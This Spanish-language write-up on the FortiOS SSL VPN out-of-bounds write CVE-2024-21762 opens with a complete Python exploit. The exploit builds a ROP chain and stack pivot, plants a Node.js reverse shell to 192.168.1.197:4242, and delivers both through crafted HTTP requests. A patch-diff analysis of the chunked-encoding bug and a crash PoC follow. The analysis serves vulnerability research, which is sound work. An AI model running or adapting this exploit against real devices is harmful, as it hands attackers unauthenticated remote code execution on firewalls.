
Vulnerabilidad de escritura fuera de límites en Fortinet FortiOS CVE-2024-21762
Escritura fuera de límites en Fortinet FortiOS — vulnerabilidad CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate publicó una actualización de versión en febrero, corrigiendo múltiples vulnerabilidades de riesgo medio y alto. Una de las vulnerabilidades de nivel severo es una vulnerabilidad de escritura fuera de límites no autorizada en SSL VPN. El aviso de vulnerabilidad indica que esta vulnerabilidad podría estar siendo explotada de forma activa en la naturaleza. Este artículo presentará el análisis del autor sobre el proceso de explotación de esta vulnerabilidad para lograr la ejecución remota de código.

El entorno utilizado para el análisis de vulnerabilidades en este artículo es FGT_VM64-v7.4.2.F-build2571
Al comparar los binarios de las versiones reparadas (7.4.2 y 7.4.3), el análisis encontró que el código de reparación se encuentra en la función sub_18F4980 (7.4.2).

Al analizar esta función, no es difícil encontrar que la lógica de esta función es leer los datos del cuerpo de la petición HTTP POST. Al mismo tiempo, según la cabecera de la petición, se determina si leer en formato chunk mediante Transfer-Encoding o basándose en Content-Length. Según los resultados de la comparación del grafo de flujo de control, hay dos modificaciones de código:
Al analizar el formato chunk, se llama a ap_getline para leer la longitud del chunk y se comprueba si el valor de retorno de ap_getline es mayor que 16. Si es mayor que 16, se considera una longitud de chunk ilegal.

Al leer el trailer del chunk, la fuente del offset de escritura de \r\n es la asignación a line_off. Antes de la reparación, el valor de line_off proviene de *(_QWORD *)(a1 + 744); después de la reparación, el valor de line_off es el valor de retorno de ap_getline.
Continuando el rastreo hacia adelante, se puede encontrar que el valor de *(_QWORD *)(a1 + 744) es la longitud del campo de longitud del chunk de la primera verificación.

Continuando el rastreo hacia adelante, se puede encontrar que el valor de *(_QWORD *)(a1 + 744) es la longitud del campo de longitud del chunk de la primera verificación.

Al mismo tiempo, al leer el código se puede saber que cuando el valor del campo de longitud del chunk es 0 después de la decodificación hexadecimal, se entra en la lógica de lectura del trailer del chunk.
Después de analizar el parche, podemos sacar las siguientes conclusiones:
ap_getline para leer el trailer del chunk, se escribirá \r\n en el búfer según la longitud del campo de longitud del chunk.Por lo tanto, si se pasan muchos 0 en el campo de longitud del chunk y la longitud de los 0 es mayor que 1/2 de la longitud restante del búfer, se desencadenará una escritura fuera de límites de \r\n. Mediante la depuración, podemos saber que el búfer objetivo se encuentra en la pila (function sub_1A111E0), y que la dirección de retorno se almacena en el offset 0x2028. Si se escribe \r\n en el offset 0x202e, se producirá un crash debido a una dirección ilegal cuando la función retorne para ejecutar la instrucción ret y restaurar el rip.
PoC del crash:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Escena del crash:

Al analizar la causa de la vulnerabilidad, se puede ver que la vulnerabilidad se puede usar para escribir dos bytes \r\n fuera de los límites en la pila, y el rango de la escritura fuera de límites está cerca de 0x2000. Dado que el contenido escrito es muy limitado, no se puede lograr RCE secuestrando directamente el rip. Por lo tanto, debes centrarte en el puntero de memoria guardado en la pila.